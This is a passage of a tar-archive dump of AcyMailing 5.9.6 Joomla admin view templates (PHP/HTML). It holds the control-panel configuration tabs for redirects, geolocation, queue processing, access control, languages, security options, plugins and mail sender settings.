				</td>
				<td>
					<input class="inputbox" type="text" id="modif_redirect" name="config[modif_redirect]" style="width:250px" value="<?php echo $this->escape($this->config->get('modif_redirect')); ?>">
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('REDIRECTION_UNSUB_DESC').$redirectMessageModule, acymailing_translation('REDIRECTION_UNSUB'), '', acymailing_translation('REDIRECTION_UNSUB')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" id="unsub_redirect" name="config[unsub_redirect]" style="width:250px" value="<?php echo $this->escape($this->config->get('unsub_redirect')); ?>">
				</td>
			</tr>
			<?php if('joomla' == 'joomla') { ?>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('REDIRECTION_MODULE_DESC'), acymailing_translation('REDIRECTION_MODULE'), '', acymailing_translation('REDIRECTION_MODULE')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" id="module_redirect" name="config[module_redirect]" style="width:250px" value="<?php echo $this->escape($this->config->get('module_redirect')); ?>">
				</td>
			</tr>
			<?php } ?>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_REDIRECT_TAGS'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[redirect_tags]", '', $this->config->get('redirect_tags', 0)); ?>
				</td>
			</tr>
		</table>
	</div>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('GEOLOCATION'); ?></span>
		<script language="JavaScript" type="text/javascript">
			function testAPI(id, newvalue){
				window.document.getElementById(id).className = 'onload';

				var xhr = new XMLHttpRequest();
				xhr.open('GET', '<?php echo acymailing_prepareAjaxURL('toggle'); ?>&task=' + id + '&value=' + newvalue);
				xhr.onload = function(){
					window.document.getElementById(id).innerHTML = xhr.responseText;
					window.document.getElementById(id).className = 'loading';
				};
				xhr.send();
			}
		</script>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('GEOLOCATION_TYPE_DESC'), acymailing_translation('GEOLOCATION_TYPE'), '', acymailing_translation('GEOLOCATION_TYPE')); ?>
				</td>
				<td>
					<?php echo $this->elements->geolocation; ?>
				</td>
			</tr>
			<?php if($this->elements->geoloc_api_key){ ?>
				<tr>
					<td class="acykey">
						<a href="http://ipinfodb.com/register.php" target="_blank"><?php echo acymailing_tooltip(acymailing_translation('GEOLOCATION_API_KEY_DESC'), 'IPInfoDB API key', '', 'IPInfoDB API key'); ?></a>
					</td>
					<td>
						<?php echo $this->elements->geoloc_api_key; ?>
					</td>
				</tr>
				<tr>
					<td colspan="2">

						<span id="testApiKey" class="acymailing_button_grey">
							<i class="acyicon-location"></i>
							<a style="color:#666;text-decoration:none;" href="javascript:void(0);" onclick="testAPI('testApiKey',window.document.getElementById('geoloc_api_key').value)"><?php echo acymailing_translation('GEOLOC_TEST_API_KEY'); ?></a>
						</span>
					</td>
				</tr>
				<tr>
					<td class="acykey">
						<a href="https://www.acyba.com/acymailing/350-acymailing-geolocation.html#accountsetup" target="_blank"><?php echo acymailing_tooltip(acymailing_translation('ACY_GOOGLE_MAP_KEY_DESC'), acymailing_translation('ACY_GOOGLE_MAP_KEY'), '', acymailing_translation('ACY_GOOGLE_MAP_KEY')) ?></a>
					</td>
					<td>
						<?php echo $this->elements->google_map_api_key; ?>
					</td>
				</tr>
			<?php } ?>
		</table>
	</div>
</div>
com_acymailing/views/cpanel/tmpl/queue.php000060400000013201152455305300014722 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="page-queue">
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('QUEUE_PROCESS'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<?php if(acymailing_level(1)){ ?>
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('QUEUE_PROCESSING_DESC'), acymailing_translation('QUEUE_PROCESSING'), '', acymailing_translation('QUEUE_PROCESSING')); ?>
					</td>
					<td>
						<?php echo $this->elements->queue_type; ?>
					</td>
				</tr>
				<tr id="method_auto" <?php echo ($this->config->get('queue_type', 'auto') == 'onlyauto' || $this->config->get('queue_type', 'auto') == 'auto') ? '' : 'style="display:none"'; ?>>
					<td class="acykey">
						<?php echo acymailing_translation('AUTO_SEND_PROCESS'); ?>
					</td>
					<td>
						<?php echo acymailing_translation_sprintf('SEND_X_EVERY_Y', '<input class="inputbox" type="text" name="config[queue_nbmail_auto]" style="width:50px" value="'.intval($this->config->get('queue_nbmail_auto')).'" />', $this->elements->cron_frequency); ?>
					</td>
				</tr>
			<?php } ?>
			<tr id="method_manual" <?php echo ($this->config->get('queue_type', 'auto') == 'onlyauto') ? 'style="display:none"' : ''; ?>>
				<td class="acykey">
					<?php echo acymailing_translation('MANUAL_SEND_PROCESS'); ?>
				</td>
				<td>
					<?php echo acymailing_translation_sprintf('SEND_X_WAIT_Y', '<input class="inputbox" type="text" name="config[queue_nbmail]" style="width:50px" value="'.intval($this->config->get('queue_nbmail')).'" />', $this->elements->queue_pause); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('MAX_NB_TRY_DESC'), acymailing_translation('MAX_NB_TRY'), '', acymailing_translation('MAX_NB_TRY')); ?>
				</td>
				<td>
					<?php echo acymailing_translation_sprintf('CONFIG_TRY', '<input class="inputbox" type="text" name="config[queue_try]" style="width:50px" value="'.intval($this->config->get('queue_try')).'">');
					echo ' '.acymailing_translation_sprintf('CONFIG_TRY_ACTION', $this->bounceaction->display('maxtry', $this->config->get('bounce_action_maxtry'))); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_MAX_EXECUTION_TIME'); ?>
				</td>
				<td>
					<?php
					echo acymailing_translation_sprintf('ACY_TIMEOUT_SERVER', ini_get('max_execution_time')).'<br />';
					$maxexecutiontime = intval($this->config->get('max_execution_time'));
					if(intval($this->config->get('last_maxexec_check')) > (time() - 20)){
						echo acymailing_translation_sprintf('ACY_TIMEOUT_CURRENT', $maxexecutiontime);
					}else{
						if(!empty($maxexecutiontime)){
							echo acymailing_translation_sprintf('ACY_MAX_RUN', $maxexecutiontime).'<br />';
						}
						echo '<span id="timeoutcheck" ><a href="javascript:void(0);" onclick="detectTimeout(\'timeoutcheck\')">'.acymailing_translation('ACY_TIMEOUT_AGAIN').'</a></span>';
					}
					?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_ORDER_SEND_QUEUE'); ?>
				</td>
				<td>
					<?php
					$ordering = array();
					$ordering[] = acymailing_selectOption("subid, ASC", 'subid ASC');
					$ordering[] = acymailing_selectOption("subid, DESC", 'subid DESC');
					$ordering[] = acymailing_selectOption("rand", acymailing_translation('ACY_RANDOM'));
					echo acymailing_select($ordering, 'config[sendorder]', 'size="1" style="width:150px;" onchange="if(this.value == \'rand\'){alert(\''.acymailing_translation('ACY_NO_RAND_FOR_MULTQUEUE').'\')}"', 'value', 'text', $this->config->get('sendorder', 'subid,ASC'));
					?>
				</td>
			</tr>
		</table>
	</div>
	<?php if(acymailing_level(1)){
		include(dirname(__FILE__).DS.'cron.php');
	}
	if(acymailing_level(3)){ ?>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('PRIORITY'); ?></span>
			<table class="acymailing_table" cellspacing="1">
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('NEWS_PRIORITY_DESC'), acymailing_translation('NEWS_PRIORITY'), '', acymailing_translation('NEWS_PRIORITY')); ?>
					</td>
					<td>
						<input class="inputbox" type="text" name="config[priority_newsletter]" style="width:50px" value="<?php echo intval($this->config->get('priority_newsletter', 3)); ?>">
					</td>
				</tr>
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('FOLLOW_PRIORITY_DESC'), acymailing_translation('FOLLOW_PRIORITY'), '', acymailing_translation('FOLLOW_PRIORITY')); ?>
					</td>
					<td>
						<input class="inputbox" type="text" name="config[priority_followup]" style="width:50px" value="<?php echo intval($this->config->get('priority_followup', 2)); ?>">
					</td>
				</tr>
			</table>
		</div>
	<?php }
	if(acymailing_level(1) && !empty($this->elements->cron_plugins)){ ?>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('PLUGINS'); ?></span>
			<table class="acymailing_table" cellspacing="1">
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('ACY_DAILY_HOUR_PLUGINS_DESC'), acymailing_translation('ACY_DAILY_HOUR_PLUGINS'), '', acymailing_translation('ACY_DAILY_HOUR_PLUGINS')); ?>
					</td>
					<td>
						<?php echo $this->elements->cron_plugins; ?>
					</td>
				</tr>
			</table>
		</div>
	<?php } ?>
</div>
com_acymailing/views/cpanel/tmpl/acl.php000060400000004203152455305300014337 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="page-acl">
	<?php echo acymailing_cmsACL(); ?>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('ACY_ACL'); ?></span>
		<?php
		if(!acymailing_level(3)){
			echo '<a target="_blank" href="'.ACYMAILING_REDIRECT.'acymailing-features#mail">'.acymailing_translation('ONLY_FROM_ENTERPRISE').'</a>';
		}else{ ?>
			<table class="acymailing_table" cellspacing="1">
				<?php
				$acltable = acymailing_get('type.acltable');
				$aclcats['campaign'] = array('manage', 'delete', 'copy');
				$aclcats['configuration'] = array('manage');
				$aclcats['extra_fields'] = array('import');
				$aclcats['cpanel'] = array('manage');
				$aclcats['distribution'] = array('manage', 'copy', 'delete');
				$aclcats['lists'] = array('manage', 'delete', 'filter');
				$aclcats['newsletters'] = array('manage', 'delete', 'send', 'schedule', 'spam_test', 'copy', 'lists', 'attachments', 'sender_informations', 'meta_data', 'abtesting', 'inbox_actions');
				$aclcats['queue'] = array('manage', 'delete', 'process');
				$aclcats['simple_sending'] = array('manage');
				$aclcats['autonewsletters'] = array('manage', 'delete');
				$aclcats['tags'] = array('view');
				$aclcats['templates'] = array('view', 'manage', 'delete', 'copy');
				$aclcats['statistics'] = array('manage', 'delete');
				$aclcats['subscriber'] = array('view', 'manage', 'delete', 'export', 'import', 'zohoimport');
				foreach($aclcats as $category => $actions){ ?>
					<tr>
						<td width="185" class="acykey" valign="top">
							<?php $trans = acymailing_translation('ACY_'.strtoupper($category));
							if($trans == 'ACY_'.strtoupper($category)) $trans = acymailing_translation(strtoupper($category));
							echo $trans;
							?>
						</td>
						<td>
							<?php echo $acltable->display($category, $actions) ?>
						</td>
					</tr>
				<?php } ?>
			</table>
		<?php } ?>
	</div>
</div>
com_acymailing/views/cpanel/tmpl/default.php000060400000004321152455305300015225 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink('cpanel'); ?>" method="post" name="adminForm" autocomplete="off" id="adminForm">
		<?php acymailing_formOptions();

		echo $this->tabs->startPane('config_tab');

		echo $this->tabs->startPanel(acymailing_translation('MAIL_CONFIG'), 'config_mail');
		include(dirname(__FILE__).DS.'mail.php');
		echo $this->tabs->endPanel();

		echo $this->tabs->startPanel(acymailing_translation('QUEUE_PROCESS'), 'config_queue');
		include(dirname(__FILE__).DS.'queue.php');
		echo $this->tabs->endPanel();

		echo $this->tabs->startPanel(acymailing_translation('SUBSCRIPTION'), 'config_subscription');
		include(dirname(__FILE__).DS.'subscription.php');
		echo $this->tabs->endPanel();

		echo $this->tabs->startPanel(acymailing_translation('INTERFACE'), 'config_interface');
		include(dirname(__FILE__).DS.'interface.php');
		echo $this->tabs->endPanel();

		echo $this->tabs->startPanel(acymailing_translation('SECURITY'), 'config_security');
		include(dirname(__FILE__).DS.'security.php');
		echo $this->tabs->endPanel();

		if(file_exists(dirname(__FILE__).DS.'others.php')){
			echo $this->tabs->startPanel(acymailing_translation('OTHERS'), 'config_others');
			include(dirname(__FILE__).DS.'others.php');
			echo $this->tabs->endPanel();
		}

		echo $this->tabs->startPanel(acymailing_translation('ACCESS_LEVEL'), 'config_acl');
		include(dirname(__FILE__).DS.'acl.php');
		echo $this->tabs->endPanel();

		if(!empty($this->plugins) || !empty($this->integrationplugins)) {
			echo $this->tabs->startPanel(acymailing_translation('PLUGINS'), 'config_plugins');
			include(dirname(__FILE__) . DS . 'plugins.php');
			echo $this->tabs->endPanel();
		}

		echo $this->tabs->startPanel(acymailing_translation('LANGUAGES'), 'config_languages');
		include(dirname(__FILE__).DS.'languages.php');
		echo $this->tabs->endPanel();

		echo $this->tabs->endPane();
		?>

		<div class="clr"></div>

	</form>
</div>
com_acymailing/views/cpanel/tmpl/index.html000060400000000054152455305300015064 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/cpanel/tmpl/languages.php000060400000002713152455305300015552 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="config_languages">
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('LANGUAGES') ?></span>
		<table class="acymailing_table" cellpadding="1">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_translation('ACY_EDIT'); ?>
				</th>
				<th class="title">
					<?php echo acymailing_translation('ACY_NAME'); ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_translation('ACY_ID'); ?>
				</th>
			</tr>
			</thead>
			<tbody>
			<?php
			$k = 0;

			for($i = 0, $a = count($this->languages); $i < $a; $i++){
				$row =& $this->languages[$i];
				?>
				<tr class="<?php echo "row$k"; ?>">
					<td align="center" style="text-align:center">
						<?php echo $i + 1; ?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo $row->edit; ?>
					</td>
					<td>
						<?php echo $row->name; ?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo $row->language; ?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
			}
			?>
			</tbody>
		</table>
	</div>
</div>
com_acymailing/views/cpanel/tmpl/security.php000060400000013061152455305300015451 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="page-security">
	<?php if(acymailing_level(1)){
	}else{ ?>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('CAPTCHA'); ?></span>
			<table class="acymailing_table" cellspacing="1">
				<tr>
					<td class="acykey">
						<?php echo acymailing_translation('ENABLE_CATCHA'); ?>
					</td>
					<td>
						<?php echo acymailing_getUpgradeLink('essential'); ?>
					</td>
				</tr>
			</table>
		</div>
	<?php } ?>

	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('ADVANCED_EMAIL_VERIFICATION'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('CHECK_DOMAIN_EXISTS'); ?>
				</td>
				<td>
					<?php
					if(function_exists('getmxrr')){
						echo acymailing_boolean("config[email_checkdomain]", '', $this->config->get('email_checkdomain', 0));
					}else{
						echo 'Function getmxrr not enabled';
					}
					?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation_sprintf('X_INTEGRATION', 'BotScout'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[email_botscout]", '', $this->config->get('email_botscout', 0)); ?>
					<br/>API Key: <input class="inputbox" type="text" name="config[email_botscout_key]" style="width:100px;float:none;" value="<?php echo $this->escape($this->config->get('email_botscout_key')) ?>"/>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation_sprintf('X_INTEGRATION', 'StopForumSpam'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[email_stopforumspam]", '', $this->config->get('email_stopforumspam', 0)); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('IPTIMECHECK_DESC'), acymailing_translation('IPTIMECHECK'), '', acymailing_translation('IPTIMECHECK')); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[email_iptimecheck]", '', $this->config->get('email_iptimecheck', 0)); ?>
				</td>
			</tr>
		</table>
	</div>

	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('ACY_FILES'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('ALLOWED_FILES_DESC'), acymailing_translation('ALLOWED_FILES'), '', acymailing_translation('ALLOWED_FILES')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[allowedfiles]" style="width:250px" value="<?php echo $this->escape(strtolower(str_replace(' ', '', $this->config->get('allowedfiles')))); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('UPLOAD_FOLDER_DESC'), acymailing_translation('UPLOAD_FOLDER'), '', acymailing_translation('UPLOAD_FOLDER')); ?>
				</td>
				<td>
					<?php $uploadfolder = $this->config->get('uploadfolder');
					if(empty($uploadfolder)) $uploadfolder = ACYMAILING_MEDIA_FOLDER.'/upload'; ?>
					<input class="inputbox" type="text" name="config[uploadfolder]" style="width:250px" value="<?php echo $this->escape($uploadfolder); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('MEDIA_FOLDER_DESC'), acymailing_translation('MEDIA_FOLDER'), '', acymailing_translation('MEDIA_FOLDER')); ?>
				</td>
				<td>
					<?php $mediafolder = $this->config->get('mediafolder', ACYMAILING_MEDIA_FOLDER.'/upload');
					if(empty($mediafolder)) $mediafolder = ACYMAILING_MEDIA_FOLDER.'/upload'; ?>
					<input class="inputbox" type="text" name="config[mediafolder]" style="width:250px" value="<?php echo $this->escape($mediafolder); ?>"/>
				</td>
			</tr>
		</table>
	</div>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('DATABASE_MAINTENANCE'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<?php if(acymailing_level(1)){ ?>
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('DATABASE_MAINTENANCE_DESC').'<br />'.acymailing_translation('DATABASE_MAINTENANCE_DESC2'), acymailing_translation('DELETE_DETAILED_STATS'), '', acymailing_translation('DELETE_DETAILED_STATS')); ?>
					</td>
					<td>
						<?php echo $this->elements->delete_stats; ?>
					</td>
				</tr>
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('DATABASE_MAINTENANCE_DESC').'<br />'.acymailing_translation('DATABASE_MAINTENANCE_DESC2'), acymailing_translation('DELETE_HISTORY'), '', acymailing_translation('DELETE_HISTORY')); ?>
					</td>
					<td>
						<?php echo $this->elements->delete_history; ?>
					</td>
				</tr>
			<?php } ?>
			<?php if(acymailing_level(3)){ ?>
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('ACY_DELETE_CHARTS_DESC'), acymailing_translation('ACY_DELETE_CHARTS'), '', acymailing_translation('ACY_DELETE_CHARTS')); ?>
					</td>
					<td>
						<?php echo $this->elements->delete_charts; ?>
					</td>
				</tr>
			<?php } ?>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('DATABASE_INTEGRITY'); ?>
				</td>
				<td>
					<?php echo $this->elements->checkDB; ?>
				</td>
			</tr>
		</table>
	</div>
</div>
com_acymailing/views/cpanel/tmpl/plugins.php000060400000011052152455305300015261 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="config_plugins">

	<div class="acyblockoptions" style="width: 42%;min-width: 480px;">
		<span class="acyblocktitle"><?php echo acymailing_translation('PLUG_TAG') ?></span>
		<table class="acymailing_table" cellpadding="1">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title">
					<?php echo acymailing_translation('ACY_NAME'); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_translation('ACY_IS_UPDATE') ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_translation('ENABLED'); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_translation('ACY_ID'); ?>
				</th>
			</tr>
			</thead>
			<tbody>
			<?php
			$k = 0;

			for($i = 0, $a = count($this->plugins); $i < $a; $i++){
				$row =& $this->plugins[$i];

				$publishedid = 'published_'.$row->id;
				?>
				<tr class="<?php echo "row$k"; ?>">
					<td align="center" style="text-align:center">
						<?php echo $i + 1 ?>
					</td>
					<td>
						<a target="_blank" href="<?php echo !ACYMAILING_J16 ? 'index.php?option=com_plugins&amp;view=plugin&amp;client=site&amp;task=edit&amp;cid[]=' : 'index.php?option=com_plugins&amp;task=plugin.edit&amp;extension_id=';
						echo $row->id ?>"><?php echo $row->name; ?></a>
					</td>
					<td style="text-align: center">
						<?php if(empty($row->needUpDate)){
							echo '<a href="#" class="acyicon-apply" onclick="return false;"></a>';
						}else{
							echo '<a href="https://www.acyba.com/acymailing/plugins.html#'.$row->element.'" class="acyicon-cancel" target="_blank"></a>';
						} ?>
					</td>
					<td align="center" style="text-align:center">
						<span id="<?php echo $publishedid ?>" class="loading"><?php echo $this->toggleClass->toggle($publishedid, $row->published, 'plugins') ?></span>
					</td>
					<td align="center" style="text-align:center">
						<?php echo $row->id; ?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
			}
			?>
			</tbody>
		</table>
	</div>
	<div class="acyblockoptions" style="width: 42%;min-width: 480px;">
		<span class="acyblocktitle"><?php echo acymailing_translation('PLUG_INTE') ?></span>
		<table class="acymailing_table" cellpadding="1">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title">
					<?php echo acymailing_translation('ACY_NAME'); ?>
				</th>
				<th class="title">
					<?php echo acymailing_translation('ACY_IS_UPDATE') ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_translation('ENABLED'); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_translation('ACY_ID'); ?>
				</th>
			</tr>
			</thead>
			<tbody>
			<?php
			$k = 0;

			for($i = 0, $a = count($this->integrationplugins); $i < $a; $i++){
				$row =& $this->integrationplugins[$i];

				$publishedid = 'published_'.$row->id;
				?>
				<tr class="<?php echo "row$k"; ?>">
					<td align="center" style="text-align:center">
						<?php echo $i + 1 ?>
					</td>
					<td>
						<a target="_blank" href="<?php echo !ACYMAILING_J16 ? 'index.php?option=com_plugins&amp;view=plugin&amp;client=site&amp;task=edit&amp;cid[]=' : 'index.php?option=com_plugins&amp;task=plugin.edit&amp;extension_id=';
						echo $row->id ?>"><?php echo $row->name; ?></a>
					</td>
					<td style="text-align: center">
						<?php if(empty($row->needUpDate)){
							echo '<a href="#" class="acyicon-apply" target="blank"></a>';
						}else{
							echo '<a href="https://www.acyba.com/acymailing/plugins.html#'.$row->element.'" class="acyicon-cancel" target="_blank"></a>';
						} ?>
					</td>
					<td align="center" style="text-align:center">
						<span id="<?php echo $publishedid ?>" class="spanloading"><?php echo $this->toggleClass->toggle($publishedid, $row->published, 'plugins') ?></span>
					</td>
					<td align="center" style="text-align:center">
						<?php echo $row->id; ?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
			}
			?>
			</tbody>
		</table>
	</div>
	<span class="acymailing_button" style="margin:15px;">
		<i class="acyicon-import"></i>
		<a style="margin-left:5px;color:#fff;text-decoration: none;" href="https://www.acyba.com/acymailing/plugins.html" target="_blank"><?php echo acymailing_translation('MORE_PLUGINS'); ?></a>
	</span>
</div>
com_acymailing/views/cpanel/tmpl/mail.php000060400000047423152455305300014535 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="page-mail">
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('SENDER_INFORMATIONS'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td width="185" class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('FROM_NAME_DESC'), acymailing_translation('FROM_NAME'), '', acymailing_translation('FROM_NAME')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[from_name]" style="width:200px" value="<?php echo $this->escape($this->config->get('from_name')); ?>">
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('FROM_ADDRESS_DESC'), acymailing_translation('FROM_ADDRESS'), '', acymailing_translation('FROM_ADDRESS')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" onchange="if(this.value.indexOf('@') == -1){ alert('Wrong email address supplied for the <?php echo addslashes(acymailing_translation('FROM_ADDRESS')); ?> field: '+this.value); return false; }" id="fromemail" name="config[from_email]" style="width:200px" value="<?php echo $this->escape($this->config->get('from_email')); ?>">
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('REPLYTO_NAME_DESC'), acymailing_translation('REPLYTO_NAME'), '', acymailing_translation('REPLYTO_NAME')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[reply_name]" style="width:200px" value="<?php echo $this->escape($this->config->get('reply_name')); ?>">
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('REPLYTO_ADDRESS_DESC'), acymailing_translation('REPLYTO_ADDRESS'), '', acymailing_translation('REPLYTO_ADDRESS')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" onchange="if(this.value.indexOf('@') == -1){ alert('Wrong email address supplied for the <?php echo addslashes(acymailing_translation('REPLYTO_ADDRESS')); ?> field: '+this.value); return false; }" id="replyemail" name="config[reply_email]" style="width:200px" value="<?php echo $this->escape($this->config->get('reply_email')); ?>">
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('BOUNCE_ADDRESS_DESC'), acymailing_translation('BOUNCE_ADDRESS'), '', acymailing_translation('BOUNCE_ADDRESS')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" onchange="if(this.value.indexOf('@') == -1){ alert('Wrong email address supplied for the <?php echo addslashes(acymailing_translation('BOUNCE_ADDRESS')); ?> field: '+this.value); return false; }" id="bounceemail" name="config[bounce_email]" style="width:200px" value="<?php echo $this->escape($this->config->get('bounce_email')); ?>">
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('ADD_NAMES_DESC'), acymailing_translation('ADD_NAMES'), '', acymailing_translation('ADD_NAMES')); ?>
				</td>
				<td>
					<?php echo $this->elements->add_names; ?>
				</td>
			</tr>
		</table>
	</div>

	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('MAIL_CONFIG'); ?></span>

		<div id="mailer_method">
			<?php $mailerMethod = $this->config->get('mailer_method', 'phpmail');
			if(!in_array($mailerMethod, array('elasticemail', 'smtp', 'qmail', 'sendmail', 'phpmail'))) $mailerMethod = 'phpmail';
			?>
			<?php
			if(!ACYMAILING_J30 || ACYMAILING_J40 || 'joomla' == 'wordpress'){
				?>
				<div class="acyblockoptions" style="float: left;">
					<span class="acyblocktitle" style="font-size:13px;"><?php echo acymailing_translation('SEND_SERVER'); ?></span>
					<span><input type="radio" name="config[mailer_method]" onclick="updateMailer('phpmail')" value="phpmail" <?php if($mailerMethod == 'phpmail') echo 'checked="checked"'; ?> id="mailer_phpmail"/><label for="mailer_phpmail"> PHP Mail Function</label></span>
					<span><input type="radio" name="config[mailer_method]" onclick="updateMailer('sendmail')" value="sendmail" <?php if($mailerMethod == 'sendmail') echo 'checked="checked"'; ?> id="mailer_sendmail"/><label for="mailer_sendmail"> SendMail</label></span>
					<span><input type="radio" name="config[mailer_method]" onclick="updateMailer('qmail')" value="qmail" <?php if($mailerMethod == 'qmail') echo 'checked="checked"'; ?> id="mailer_qmail"/><label for="mailer_qmail"> QMail</label></span>
				</div>
				<div class="acyblockoptions" style="float: left; margin-left: 20px;">
					<span class="acyblocktitle" style="font-size:13px;"><?php echo acymailing_translation('SEND_EXTERNAL'); ?></span>
